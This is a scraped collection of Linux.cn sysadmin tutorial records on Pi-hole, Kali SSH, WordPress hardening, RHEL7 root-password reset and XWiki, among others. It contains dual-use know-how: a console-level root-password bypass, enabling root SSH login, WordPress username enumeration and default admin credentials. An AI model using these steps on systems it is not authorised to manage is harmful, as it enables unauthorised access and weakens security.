To discuss development and video research topics, check out the [forum](https://github.com/opentoonz/opentoonz/issues) on GitHub. OpenToonz [source code](https://github.com/opentoonz/opentoonz) is hosted on GitHub and the project is licensed under a modified BSD license.
## Roundcube
[Roundcube](https://roundcube.net/) is a modern, browser-based email client that provides much—if not all—of the functionality email users may be used to with a desktop client. Featuring support for more than 70 languages, integrated spell-checking, a drag-and-drop interface, a feature-rich address book, HTML email composition, multiple search features, PGP encryption support, threading, and more, Roundcube can work as a drop-in replacement email client for many users.
Roundcube was included along with four other solutions in our roundup of open source [alternatives to Gmail](https://opensource.com/alternatives/gmail).
You can find the [source code](https://github.com/roundcube/roundcubemail) to Roundcube on GitHub under a [GPLv3](https://github.com/roundcube/roundcubemail/blob/master/LICENSE) license. In addition to [downloading](https://roundcube.net/download/) and installing the project directly, you can also find it inside many complete email server packages, including [Kolab Groupware](http://kolab.org/), [iRedMail](http://www.iredmail.org/), [Mail-in-a-Box](https://mailinabox.email/), and [mailcow](https://mailcow.email/).
That's it for our list. What was your favorite open source project in 2016, and why? Let us know in the comments below.
## 3 Comments |
8,205 | 用 Pi-hole 和 Orange Pi 阻止家中所有设备上的广告 | http://piboards.com/2017/01/07/block-ads-on-all-your-devices-at-home-with-pi-hole-and-an-orange-pi/ | 2017-02-15T08:34:00 | [
"广告拦截",
"Orange Pi",
"树莓派"
] | https://linux.cn/article-8205-1.html | 你是否很恼火地发现你的浏览器、智能手机和平板上不装广告拦截器不行? 至少我是这样的。我家里有一些“智能”设备,但是它们似乎没有任何类型的广告拦截软件。 好了,我了解到 [Pi-hole](https://pi-hole.net/) 是一个可以运行在树莓派板子上的广告拦截软件,它能在各种广告到达你的设备之前拦截它们。它允许你将任何域加入到黑名单或白名单,并且它有一个很好的仪表盘面板,可以让你深入了解你的家庭网络最常访问的域/网站、最活跃的设备和最常见的广告商。

Pi-hole 原本是运行在树莓派上的,但我想知道它能否在我运行 Armbian Linux 的廉价 Orange Pi 上运行。 好吧,它绝对可以!下面是我让 Pi-hole 能快速运行的方法。
### 安装 Pi-hole
安装 Pi-hole 是使用终端完成的,所以打开你的 Orange Pi 桌面上的终端或使用 ssh 连接。
因为需要下载软件,所以进入到一个你选定的目录,确保你有写入权限。像这样:
```
cd <your preferred directory>/
```
我没有选择 Pi-hole 主页上的“单条命令”安装方式。 我的意思是,他们在那条命令下面写着“用管道到 bash 可能是危险的”,本地安装“更安全”。所以,这里是我的本地安装步骤:
```
git clone --depth 1 https://github.com/pi-hole/pi-hole.git Pi-hole
cd Pi-hole/automated\ install/
./basic-install.sh
```
如果你没有以 root 用户身份登录,那么这个安装脚本将提示你输入密码,然后再继续。 如果需要,脚本将下载并安装一些必备的 Linux 软件包。接着它会显示一个红蓝界面,提示你回答有关如何配置 Pi-hole 的几个问题。以我的经验,直接接受默认值就可以了,我后来发现 Pi-hole 的 web 应用可以让你更改设置,比如 DNS 提供商。
该脚本将告诉你在图形界面和终端中 Pi-hole 的密码。 请记住该密码!
脚本还会告诉你 Pi-hole 的网址,应该像这样:
```
http://<your pi’s IP address>/admin
```
或者类似这样:
```
http://orangepipc/admin
```
输入 Pi-hole 密码,接着你会看到像下面这样的漂亮的仪表盘面板:

请记住更改家庭网络路由器上的 DNS 设置并使用你的 Orange Pi 的地址。 否则,广告不会被过滤!
上面的说明与 Pi-hole 网站提供的替代“安全”方法大致相同,尽管 Armbian 没有被列为官方支持的操作系统。我相信这些说明应该在树莓派或其他运行某种形式的基于 Debian 的 Linux 操作系统的 Pi 上工作。但是,我并没有测试这一点,所以期待听到你的经验(请给我留下简短的评论)。
### 思考和观察
运行 Pi-hole 一段时间,并研究了在 Pi-hole 面板上出现的信息后,我发现有很多我不知道的网络活动在进行,而它们并不都是我批准的活动。例如,有一些我不知道的关于游戏程序的“有趣”连接从我的孩子的设备上发出,还有社交网络程序显然一直在给我发送骚扰数据。总之,无论是否是无害流量,我很高兴减少了流量负载,即使仅减少了一点点……我的意思是,为什么我应该允许我不想要的或者不关心的应用程序和广告吃掉我的网络流量?好吧,现在他们被封锁了。
像这样为 Orange Pi 设置广告屏蔽很便宜、容易,限制一些不必要的流量在我的家庭网络中进出(特别是与孩子们相关的)使我感到放松多了。如果有兴趣,你可以看看我的上一篇文章,如何[轻松设置一个 Orange Pi](http://piboards.com/2017/01/04/easy-set-up-orange-pi/),并使用下面的链接来查看 Orange Pi 是多么便宜。我相信这是一个值得的投资。
* Amazon 上的 Orange Pi (受益链接): [Orange Pi PC Single Board Computer Quad Core ARM Cortex-A7 1GB DDR3 4K Decode](https://www.amazon.com/gp/product/B018W6OTIM/ref=as_li_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=B018W6OTIM&linkCode=as2&tag=piboards-20&linkId=ac292a536d58eabf1ee73e2c575e1111)
* [AliExpress 上的 Orange Pi 商店](http://s.click.aliexpress.com/e/bAMVj2R) (受益链接)
更新:具有讽刺意味的是,如果你成功地按照这篇文章设置了 Pi-hole,这个站点上(s.click.aliexpress.com)的受益链接会被屏蔽,是否将它加入到白名单取决于你。
---
via: <http://piboards.com/2017/01/07/block-ads-on-all-your-devices-at-home-with-pi-hole-and-an-orange-pi/>
作者:[MIKE WILMOTH](http://piboards.com/author/piguy/) 译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 302 | Found | null |
8,206 | 在 Linux 中无人看守批量创建用户的方法 | https://linuxconfig.org/simple-way-for-unattended-bulk-user-creation-in-linux | 2017-02-14T07:52:00 | [
"用户"
] | https://linux.cn/article-8206-1.html | ### 介绍
作为一名 Linux 系统管理员,你有时必须向系统添加新的用户帐户。为此,经常使用 `adduser` 命令。当涉及到多个用户的创建时,`adduser` 命令可能会变得相当无聊和耗时。这篇短文旨在为 Linux 系统管理员提供一种简单而无人值守的方式来批量创建用户。`newusers` 命令将帮助你通过从预填文件中获取信息来创建多个用户。

**要求**
访问 Linux 计算机的特权。
**约定**
* `#` - 给定命令需要以 root 用户权限运行或者使用 `sudo` 命令
* `$` - 给定命令以常规权限用户运行
### 如何进行
**创建一个包含用户名的文件**
首先,你需要创建一个包含用户名列表的文件。
```
$ vi users-list.txt
```
在文件中,一个用户一行,下面是样式:
```
Username:Password:User ID:Group ID:User Info:Home Directory:Default Shell
Username:Password:User ID:Group ID:User Info:Home Directory:Default Shell
Username:Password:User ID:Group ID:User Info:Home Directory:Default Shell
...
```
**创建用户**
在创建了包含用户信息的文件后,使用 `newusers` 命令创建用户。
```
# newusers users-list.txt
```
**检查用户账户**
最后你可以确认用户已经正确创建了,在 `/etc/passwd` 文件中查看它们:
```
# tail /etc/passwd
```

---
via: <https://linuxconfig.org/simple-way-for-unattended-bulk-user-creation-in-linux>
作者:[Essodjolo Kahanam](https://linuxconfig.org/simple-way-for-unattended-bulk-user-creation-in-linux) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 403 | Forbidden | null |
8,207 | 小技巧:检查你本地及公共 IP 地址 | https://linuxconfig.org/check-your-local-and-public-ip-address | 2017-02-16T07:00:00 | [
"IP",
"地址"
] | https://linux.cn/article-8207-1.html | 
**你本地的 IP 地址:** **192.168.1.100**
上面是分配给你计算机上的内部硬件或虚拟网卡的本地/私有 IP 地址。根据你的 LAN 配置,上述 IP 地址可能是静态或动态的。
**如果你找不到上述任何地址,请在 Linux 上执行 `ifconfig` 或 `ip` 命令手动检查内部 IP 地址:**
```
# ifconfig | grep -w inet | awk '{ print $2}'
或者
# ip a s | grep -w inet | awk '{ print $2}'
```
**你公共的 IP 地址是:** **123.115.72.251**
上述地址是你的 Internet 服务提供商(ISP)为你分配的公共/外部 IP 地址。根据你与 ISP 的合约,它可能是动态的,这意味着它会在每次重启路由器后改变,它也可能是静态的,这意味着它将永远不会改变。
**如果你找不到上述任何地址,请在 Linux上 执行 `wget` 或 `curl` 命令手动检查你的公共 IP 地址:**
```
# echo $(wget -qO - https://api.ipify.org)
或者
# echo $(curl -s https://api.ipify.org)
```
---
via: <https://linuxconfig.org/check-your-local-and-public-ip-address>
作者:[Lubos Rendek](https://linuxconfig.org/check-your-local-and-public-ip-address) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 403 | Forbidden | null |
8,208 | 入门:如何在 Kali Linux 上安装 SSH 服务 | https://linuxconfig.org/how-to-install-ssh-secure-shell-service-on-kali-linux | 2017-02-17T07:13:00 | [
"SSH"
] | https://linux.cn/article-8208-1.html | 
### 介绍
**目的**
我们的目的是 Kali Linux 上安装 SSH(安全 shell)。
**要求**
你需要有特权访问你的 Kali Linux 安装或者 Live 系统。
**困难程度**
很容易!
**惯例**
* `#` - 给定命令需要以 root 用户权限运行或者使用 `sudo` 命令
* `$` - 给定命令以常规权限用户运行
### 指导
**安装 SSH**
从终端使用 `apt-get` 命令安装 SSH 包:
```
# apt-get update
# apt-get install ssh
```
**启用和开始使用 SSH**
为了确保安全 shell 能够使用,在重启系统后使用 `systemctl` 命令来启用它:
```
# systemctl enable ssh
```
在当前对话执行中使用 SSH:
```
# service ssh start
```
**允许 SSH Root 访问**
默认情况下 SSH 不允许以 root 用户登录,因此将会出现下面的错误提示信息:
```
Permission denied, please try again.
```
为了通过 SSH 进入你的 Kali Linux 系统,你可以有两个不同的选择。第一个选择是创建一个新的非特权用户然后使用它的身份来登录。第二个选择,你可以以 root 用户访问 SSH 。为了实现这件事,需要在SSH 配置文件 `/etc/ssh/sshd_config` 中插入下面这些行内容或对其进行编辑:
将
```
#PermitRootLogin prohibit-password
```
改为:
```
PermitRootLogin yes
```

对 `/etc/ssh/sshd_config` 进行更改以后,需在以 root 用户登录 SSH 前重启 SSH 服务:
```
# service ssh restart
```
---
via: <https://linuxconfig.org/how-to-install-ssh-secure-shell-service-on-kali-linux>
作者:[Lubos Rendek](https://linuxconfig.org/how-to-install-ssh-secure-shell-service-on-kali-linux) 译者:[ucasFL](https://github.com/ucasFL) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 403 | Forbidden | null |
8,209 | 小技巧:如何在 Kali Linux 中安装 Google Chrome 浏览器 | https://linuxconfig.org/how-to-install-google-chrome-browser-on-kali-linux | 2017-02-16T07:23:00 | [
"Chrome"
] | https://linux.cn/article-8209-1.html | ### 介绍
**目的**
我们的目标就是在 Kali Linux 上安装好 Google Chrome Web 浏览器。同时,请参阅附录为可能出现的问题进行排查。
**要求**
需要获得已安装 Kali Linux 或者 Live 系统的特权。
**困难程度**
容易。
**惯例**
* `#` - 给定命令需要以 root 用户权限运行或者使用 `sudo` 命令
* `$` - 给定命令以常规权限用户运行

### 步骤说明
**下载 Google Chrome**
首先,使用 `wget` 命令来下载最新版本的 Google Chrome 的 debian 安装包。
```
# wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
```
**安装 Google Chrome**
在 Kali Linux 安装 Google Chrome 最容易的方法就是使用 `gdebi`,它会自动帮你下载所有的依赖包。
```
# gdebi google-chrome-stable_current_amd64.deb
```
**启动 Google Chrome**
开启一个<ruby> 终端 <rp> ( </rp> <rt> terminal </rt> <rp> ) </rp></ruby>,执行 `google-chrome` 命令来启动 Google Chrome 浏览器。
```
$ google-chrome
```
### 附录
<ruby> 非法指令 <rp> ( </rp> <rt> Illegal Instruction </rt> <rp> ) </rp></ruby>
当以 root 用户特权来运行 `google-chrome` 命令是,会出现<ruby> 非法指令 <rp> ( </rp> <rt> Illegal Instruction </rt> <rp> ) </rp></ruby> 错误信息。因为通常情况下,Kali Linux 默认情况下的默认用户是 root 用户,我们需要创建一个虚的非特权用户,比如 `linuxconfig`,然后使用这个用户来启动 Google Chrome 浏览器。如下:
```
# useradd -m -d /home/linuxconfig linuxconfig
# su linuxconfig -c google-chrome
```
**libappindicator1 包未安装**
```
dpkg: dependency problems prevent configuration of google-chrome-stable:
google-chrome-stable depends on libappindicator1; however:
Package libappindicator1 is not installed.
```
使用 `gdebi` 命令来安装 Google Chrome 的 debian 包可以解决依赖问题。参阅上文。

---
译者简介:
[GHLandy](http://GHLandy.com) —— 生活中所有欢乐与苦闷都应藏在心中,有些事儿注定无人知晓,自己也无从说起。
---
via: <https://linuxconfig.org/how-to-install-google-chrome-browser-on-kali-linux>
作者:[Lubos Rendek](https://linuxconfig.org/how-to-install-google-chrome-browser-on-kali-linux) 译者:[GHLandy](https://github.com/GHLandy) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 403 | Forbidden | null |
8,210 | 如何在 KDE Plasma 5.9 中激活全局菜单 | http://fasterland.net/activate-global-menu-kde-plasma-5-9.html | 2017-02-15T10:07:00 | [
"KDE",
"全局菜单"
] | https://linux.cn/article-8210-1.html | 
全局菜单是 KDE Plasma 5.9 这个最新的 KDE 桌面环境主版本中的最有趣的功能之一。
全局菜单允许用户将<ruby> 应用程序菜单 <rp> ( </rp> <rt> application menu </rt> <rp> ) </rp></ruby>放到程序内,作为标题栏按钮或放到屏幕顶部的组件面板中。
全局菜单是一个用户渴望的令人兴奋的功能,但不幸的是,由于某些原因,如果你不知道在哪里找到它,启用它可能有点复杂。
在本教程中,我们将了解如何启用“标题栏按钮”和“应用程序组件”菜单。
### 标题栏按钮

*Plasma 5.9 中 Konsole 的标题栏按钮 widget*
标题栏按钮是放置在标题栏中的一个小图标,用户可以通过点击它来访问应用程序菜单。要启用它,打开<ruby> 系统设置 <rp> ( </rp> <rt> System Settings </rt> <rp> ) </rp></ruby>并进入<ruby> 应用程序样式 <rp> ( </rp> <rt> Application Style </rt> <rp> ) </rp></ruby>选项。 在<ruby> 组件样式 <rp> ( </rp> <rt> Widget Style </rt> <rp> ) </rp></ruby>设置中,进入<ruby> 微调 <rp> ( </rp> <rt> Fine Tuning </rt> <rp> ) </rp></ruby>选项卡,然后选择<ruby> 标题栏按钮 <rp> ( </rp> <rt> Title bar button </rt> <rp> ) </rp></ruby>作为<ruby> 菜单样式 <rp> ( </rp> <rt> Menubar style </rt> <rp> ) </rp></ruby>选项。

*组件样式面板*
在此之后,要使用它,你需要*手动*放置标题按钮,因为它不是自动出现的。
为此,请进入<ruby> 应用程序样式 <rp> ( </rp> <rt> Application Style </rt> <rp> ) </rp></ruby>的<ruby> 窗口装饰 <rp> ( </rp> <rt> Windows Decoration </rt> <rp> ) </rp></ruby>。进入<ruby> 按钮 <rp> ( </rp> <rt> Buttons </rt> <rp> ) </rp></ruby>选项卡,并将小的<ruby> 应用程序菜单 <rp> ( </rp> <rt> Application Menu </rt> <rp> ) </rp></ruby>图标拖动到<ruby> 标题栏按钮 <rp> ( </rp> <rt> Title bar </rt> <rp> ) </rp></ruby>中。

*拖动这个按钮到标题栏中*
现在你可以在任何有应用菜单的程序中看到标题栏按钮了。
### 应用程序菜单组件

*Plasma 5.9 中的应用菜单面板*
要启用应用程序菜单组件,请在<ruby> 微调 <rp> ( </rp> <rt> Fine Tuning </rt> <rp> ) </rp></ruby>选项卡的<ruby> 菜单样式 <rp> ( </rp> <rt> Menu Style </rt> <rp> ) </rp></ruby>选项中选择相关条目。
在桌面上右键单击,然后选择<ruby> 添加面板 <rp> ( </rp> <rt> Add Panel </rt> <rp> ) </rp></ruby>-> <ruby> 应用程序菜单栏 <rp> ( </rp> <rt> Application Menu Bar </rt> <rp> ) </rp></ruby>。
如你所见,如果你不知道在哪里找到它,启用“全局菜单”可能会有点复杂。无论如何,虽然我非常感谢 KDE 团队为这个新的 Plasma 主要版本做了出色的工作,但是我希望他们继续提高桌面可用性,让那些不想花时间在互联网上搜索这样的教程的人而言,使这个新的有趣的功能更容易启用。
---
via: <http://fasterland.net/activate-global-menu-kde-plasma-5-9.html>
作者:[Francesco Mondello](http://fasterland.net/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,211 | 5 个让你的 WordPress 网站安全的技巧 | https://www.rosehosting.com/blog/5-tips-for-securing-your-wordpress-sites/ | 2017-02-15T13:32:00 | [
"WordPress",
"安全",
"插件"
] | https://linux.cn/article-8211-1.html | 
WordPress 是迄今为止最流行的博客平台。
正由于它的流行,也因此带来了正面和负面的影响。事实上,几乎每个人都使用它,使它更容易被发现漏洞。WordPress 的开发人员做了很多工作,一旦新的缺陷被发现,就会发布修复和补丁,但这并不意味着你可以安装完就置之脑后。
在这篇文章中,我们将提供一些最常见的保护和强化 WordPress 网站的方法。
### 在登录后台时总是使用 SSL
不用说的是,如果你并不打算只是做一个随意的博客,你应该总是使用 SSL。不使用加密连接登录到你的网站会暴露你的用户名和密码。任何人嗅探流量都可能会发现你的密码。如果你使用 WiFi 上网或者连接到一个公共热点,那么你被黑的几率更高,这是特别真实的。你可以从[这里](https://letsencrypt.org/)获取受信任的免费 SSL 证书。
### 精心挑选附加的插件
由第三方开发人员所开发,每个插件的质量和安全性总是值得怀疑,并且它仅取决于其开发人员的经验。当安装任何额外的插件时,你应该仔细选择,并考虑其受欢迎程度以及插件的维护频率。应该避免维护不良的插件,因为它们更容易出现易于被利用的错误和漏洞。
此主题也是上一个关于 SSL 主题的补充,因为许多插件包含的脚本会发出不安全连接(HTTP)的请求。只要你的网站通过 HTTP 访问,一切似乎很好。但是,一旦你决定使用加密并强制使用 SSL 访问,则会立即导致网站的功能被破坏,因为当你使用 HTTPS 访问其他网站时,这些插件上的脚本将继续通过 HTTP 提供请求。
### 安装 Wordfence
Wordfence 是由 Feedjit Inc. 开发的,Wordfence 是目前最流行的 WordPress 安全插件,并且是每个严肃的 WordPress 网站必备的,特别是那些使用 WooCommerce 或其它的 WordPress 电子商务平台的网站。
Wordfence 不只是一个插件,因为它提供了一系列加强您的网站的安全功能。它具有 web 程序防火墙、恶意软件扫描、实时流量分析器和各种其它工具,它们可以提高你网站的安全性。防火墙将默认阻止恶意登录尝试,甚至可以配置为按照 IP 地址范围来阻止整个国家/地区的访问。我们真正喜欢 Wordfence 的原因是,即使你的网站因为某些原因被侵害,例如恶意脚本,Wordfence 可以在安装以后扫描和清理你的网站上被感染的文件。
该公司提供这个插件的免费和付费订阅计划,但即使是免费计划,你的网站仍将获得令人满意的水平。
### 用额外的密码锁住 /wp-admin 和 /wp-login.php
保护你的 WordPress 后端的另一个步骤是使用额外的密码保护任何除了你以外不打算让任何人使用的目录(即URL)。 /wp-admin 目录属于此关键目录列表。 如果你不允许普通用户登录 WordPress,你应该使用密码限制对 wp.login.php 文件的访问。无论是使用 [Apache](/article-5731-1.html) 还是 [Nginx](/article-5229-1.html),你都可以访问这两篇文章,了解如何额外保护 WordPress 安装。
### 禁用/停止用户枚举
这是攻击者发现你网站上的有效用户名的一种相当简单的方法(即找出管理员用户名)。那么它是如何工作的?这很简单。在任何 WordPress 站点上的主要 URL 后面跟上 `/?author=1` 即可。 例如:`wordpressexample.com/?author=1`。
要保护您的网站免受此影响,只需安装[停止用户枚举](https://wordpress.org/plugins/stop-user-enumeration/)插件。
### 禁用 XML-RPC
RPC 代表远程过程调用,它可以用来从位于网络上另一台计算机上的程序请求服务的协议。对于 WordPress 来说,XML-RPC 允许你使用流行的网络博客客户端(如 Windows Live Writer)在你的 WordPress 博客上发布文章,如果你使用 WordPress 移动应用程序那么也需要它。 XML-RPC 在早期版本中被禁用,但是从 WordPress 3.5 时它被默认启用,这让你的网站面临更大的攻击可能。虽然各种安全研究人员建议这不是一个大问题,但如果你不打算使用网络博客客户端或 WP 的移动应用程序,你应该禁用 XML-RPC 服务。
有多种方法可以做到这一点,最简单的是安装[禁用 XML-RPC](https://wordpress.org/plugins/disable-xml-rpc/)插件。
---
via: <https://www.rosehosting.com/blog/5-tips-for-securing-your-wordpress-sites/>
作者:<rosehosting.com> 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | We’ll show you, How to Secure a WordPress Site. WordPress is by far the most popular blogging platform today. Being as popular as it is, it comes with its own strengths and weaknesses. The very fact that almost everybody uses it, makes it more prone to vulnerabilities. WordPress developers are doing a great job of fixing and patching the framework as new flaws are discovered, but that doesn’t mean that you can simply install and forget your installation. In this post, we will provide some of the most common ways of securing and strengthening a WordPress site. Securing a WordPress site is fairly easy task, just carefully follow this tutorial bellow.
Table of Contents
## 1. Always use SSL when logging into your back-end
It goes without saying that you should always implement SSL if you are planning to do anything more than just a casual blog. Logging in onto your site without using an encrypted connection exposes your username and your password on the clear. Anyone sniffing traffic at the moment could discover your password. This is especially true if you are surfing on a WiFi or if you are connected to a public hotspot, then the chances that you will get hacked are even higher. Get a [trusted SSL certificate](https://www.rosehosting.com/ssl-certificates.html).
## 2. Be picky about any additional plugins
Being developed by 3rd party developers, the quality and security of each plugin is always questionable and depends solely on the experience of its developer. When installing any additional plugins one should carefully choose the plugin and take into consideration its popularity as well as how often is the plugin being maintained. Poorly maintained plugins should be avoided as they are more prone to bugs and vulnerabilities which can be easily exploited.
This topic is also as an addition to the previous topic about the SSL, since many plugins are incorrectly developed to the degree that they contain scripts that explicitly request insecure (HTTP) connections. Everything seems fine as long as your site is accessed via HTTP. However, once you decide to implement encryption and force the SSL access, that will immediately result in a broken site, because the scripts on these plugins will continue to serve out their requests via HTTP, when the rest of your site is accessed with HTTPS.
## 3. Install Wordfence
Being developed by Feedjit Inc., Wordfence is the most popular WordPress security plugin today and a must-have for every serious WordPress site, especially for those that utilize [WooCommerce](https://www.rosehosting.com/woocommerce-hosting.html) or another WordPress eCommerce platform. Wordfence is not just a plugin as it rather offers a collection of security features that will strengthen your site. It features a web application firewall, malware scanner, live traffic analyzer and a variety of additional tools which can improve the security of your site. The firewall will block malicious login attempts by default, and can even be configured to block entire countries by their IP Address ranges. What we really like about Wordfence is that even if your site is compromised for some reason i.e. with malicious scripts, Wordfence can be installed afterward to scan and clean your site from the infected files.
The company offers free and paid subscription plans of the plugin, but even with the free plan, your site will be secured on a satisfactory level.
## 4. Lockdown /wp-admin and /wp-login.php with an additional password
Another step toward protecting your WordPress backend would be to additionally password protect any directories (read URLs) which are not meant to be used by anyone else except you. The /wp-admin directory is on this list of critical directories already. If you don’t allow WordPress login for the normal users you should restrict the wp.login.php file with an additional password. Whether you use [Apache ](https://www.rosehosting.com/blog/password-protect-a-directory-using-htaccess/)or [Nginx](https://www.rosehosting.com/blog/password-protecting-directories-with-nginx/), you can visit those two articles to learn how to additionally secure your WordPress installation.
## 5. Disable/stop user enumeration
This is a fairly easy way for an attacker to discover valid usernames on your site, (read to find out the admin username). So how does it work? It’s simple. On any WordPress site put the /?author=1 after the main URL. An example would be: wordpressexample.com/?author=1
To protect your site from this, simply install the [Stop User Enumeration](https://wordpress.org/plugins/stop-user-enumeration/) plugin.
## 6. Disable XML-RPC
RPC stands for Remote Procedure Calls, it’s a protocol that one program can use to request a service from a program located on another computer on a network. In terms of WordPress, XML-RPC allows you to post on your WordPress blog using popular weblog clients like Windows Live Writer but it is also needed if you are using the WordPress mobile app. XML-RPC used to be disabled in the earlier versions but since WordPress version 3.5 it is enabled by default which allows for a greater attack surface on your site. Although various security researchers are advising that this is not that of a big deal, if you do not intend on using web-blog clients or the WP Mobile App, you should disable the XML-RPC service.
There are multiple ways to do this and the simplest would be to just install the [Disable XML-RPC](https://wordpress.org/plugins/disable-xml-rpc/) plugin.
Of course, you don’t have to secure your WordPress site if you use one of our [WordPress VPS Hosting services](https://www.rosehosting.com/wordpress-hosting.html), in which case you can simply ask our expert Linux admins to **set up and secure your WordPress blog**. They are available 24×7 and will take care of your request immediately.
**PS.** If you liked this post, on how to secure a WordPress site, please share it with your friends on the social networks using the sharing buttons or simply leave a reply below. Thanks.
Don’t forget to setup 2FA (two factor auth) on your wp logins.
Reply |
8,212 | 如何重置 RHEL7/CentOS7 系统的密码 | https://linuxconfig.org/how-to-reset-the-root-password-in-rhel7-centos7-scientific-linux-7-based-systems | 2017-02-18T09:39:00 | [
"密码",
"RHEL",
"CentOS"
] | https://linux.cn/article-8212-1.html | 
### 介绍
**目的**
在 RHEL7/CentOS7/Scientific Linux 7 中重设 root 密码。
**要求**
RHEL7 / CentOS7 / Scientific Linux 7
**困难程度**
中等
### 指导
RHEL7 的世界发生了变化,重置 root 密码的方式也一样。虽然中断引导过程的旧方法(init=/bin/bash)仍然有效,但它不再是推荐的。“Systemd” 使用 “rd.break” 来中断引导。让我们快速浏览下整个过程。
**启动进入最小模式**
重启系统并在内核列表页面在系统启动之前按下 `e`。你会进入编辑模式。
**中断启动进程**
在内核字符串中 - 在以 `linux 16 /vmlinuz- ect` 结尾的行中输入 `rd.break`。接着 `Ctrl+X` 重启。系统启动进入初始化内存磁盘,并挂载在 `/sysroot`。在此模式中你不需要输入密码。
**重新挂载文件系统以便读写**
```
switch_root:/# mount -o remount,rw /sysroot/
```
**使 /sysroot 成为根目录**
```
switch_root:/# chroot /sysroot
```
命令行提示符会稍微改变。
**修改 root 密码**
```
sh-4.2# passwd
```
**加载 SELinux 策略**
```
sh-4.2# load_policy -i
```
**在 /etc/shadow 中设置上下文类型**
```
sh-4.2# chcon -t shadow_t /etc/shadow
```
注意:你可以通过如下创建 `autorelabel` 文件的方式来略过最后两步,但自动重建卷标会花费很长时间。
```
sh-4.2# touch /.autorelabel
```
因为这个原因,尽管它更简单,它应该作为“懒人选择”,而不是建议。
**退出并重启**
退出并重启并用新的 root 密码登录。
---
via: <https://linuxconfig.org/how-to-reset-the-root-password-in-rhel7-centos7-scientific-linux-7-based-systems>
作者:[Rado Folwarczny](https://linuxconfig.org/how-to-reset-the-root-password-in-rhel7-centos7-scientific-linux-7-based-systems) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 403 | Forbidden | null |
8,213 | 如何在 CentOS 中安装 XWiki | https://thishosting.rocks/how-to-build-your-own-wiki-with-xwiki-on-centos/ | 2017-02-16T08:47:00 | [
"wiki",
"DokuWiki",
"XWiki"
] | https://linux.cn/article-8213-1.html | 由于大家的强烈要求,这里有另外一篇在 CentOS 7 服务器中用 XWiki 安装 wiki 的教程。我们已经发布了一篇[如何在 Ubuntu 中安装 DokuWiki](/article-8178-1.html) 的教程,但如果你需要一个 DokuWiki 的替代品,XWiki 是一个很好的选择。

### XWiki 信息
首先最重要的是:它是自由而开源的!这是一些 XWiki 的功能:
* 一个非常强大的所见即所得编辑器
* 强大的 wiki 语法
* 强大的权限管理
* 响应式皮肤
* 高级搜索
* 独特的应用程序集
* 还有更多功能……
### 为何使用 XWiki?
它已经开发了 10 多年,XWiki 被许多知名公司使用作为:
* 知识库
* 内网协作
* 公开网站
* 商业应用
* 其他等……
### XWiki 要求
* Java 8 或更高版本
* 支持 Servlet 3.0.1 的 Servlet 容器
* 用于支持数据库的 JDBC 4 驱动程序
* 至少 2GB RAM(对于较小的 wiki 是 1GB)
* 你可以从[阿里云等云服务商购买一个 VPS](http://click.aliyun.com/m/9815/),可以使用一键部署的 Java 环境
我们将在本教程中使用 CentOS 7 服务器。
### CentOS 7 中 XWiki 安装指南
让我们开始吧。首先登录 CentOS VPS,更新你的系统:
```
yum update
```
如果你还没有安装 nano 和 wget,就先安装:
```
yum install nano wget
```
### 安装 Java
XWiki 基于并运行于 Java 环境,因此我们需要安装 Java。要安装它,运行下面的命令:
```
yum install java
```
要验证是否已经成功安装,运行:
```
java -version
```
### 下载并安装 XWiki
目前,XWiki 最新的版本是 8.4.4,如果还有更新的版本,你可以用更新命令更新。
要下载 XWiki 安装器,运行:
```
wget http://download.forge.ow2.org/xwiki/xwiki-enterprise-installer-generic-8.4.4-standard.jar
```
要运行安装器,输入下面的命令:
```
java -jar xwiki-enterprise-installer-generic-8.4.4-standard.jar
```
现在,安装器会有提示地询问你几个问题,分别输入 `1`(接受)、`2`(退出)、`3`(重新显示)。大多数提示可以回答 `1`(接受)。这个安装器是不言自明的,易于理解,因此只要遵循其每步建议就行。
### 启动 XWiki
要启动 XWiki,你需要进入你先前选择的目录:
```
cd /usr/local/"XWiki Enterprise 8.4.4"
```
并运行脚本:
```
bash start_xwiki.sh
```
等待脚本执行完毕就行了。XWiki 已经安装并已启动。就是这么简单。
现在你可以在 8080 端口上通过域名或者服务器 IP 访问 XWiki 了:
```
http://server-ip:8080
```
或者
```
http://example.com:8080
```
XWiki 默认运行在 8080 端口,但如果你想要使用 80 端口,确保没有其他程序运行在 80 端口,并用下面的命令启动 XWiki:
```
bash start_xwiki.sh -p 80
```
现在你可以不用指定端口访问 XWiki 了。当你访问时,你应该会看见默认的 XWiki 主页。
XWiki 默认的管理员用户及密码为:
* 用户名:Admin
* 密码:admin
使用它们登录并访问管理面板。祝你在新的 wiki 中使用愉快!
---
via: <https://thishosting.rocks/how-to-build-your-own-wiki-with-xwiki-on-centos/>
作者:[thishosting.rocks](https://thishosting.rocks) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
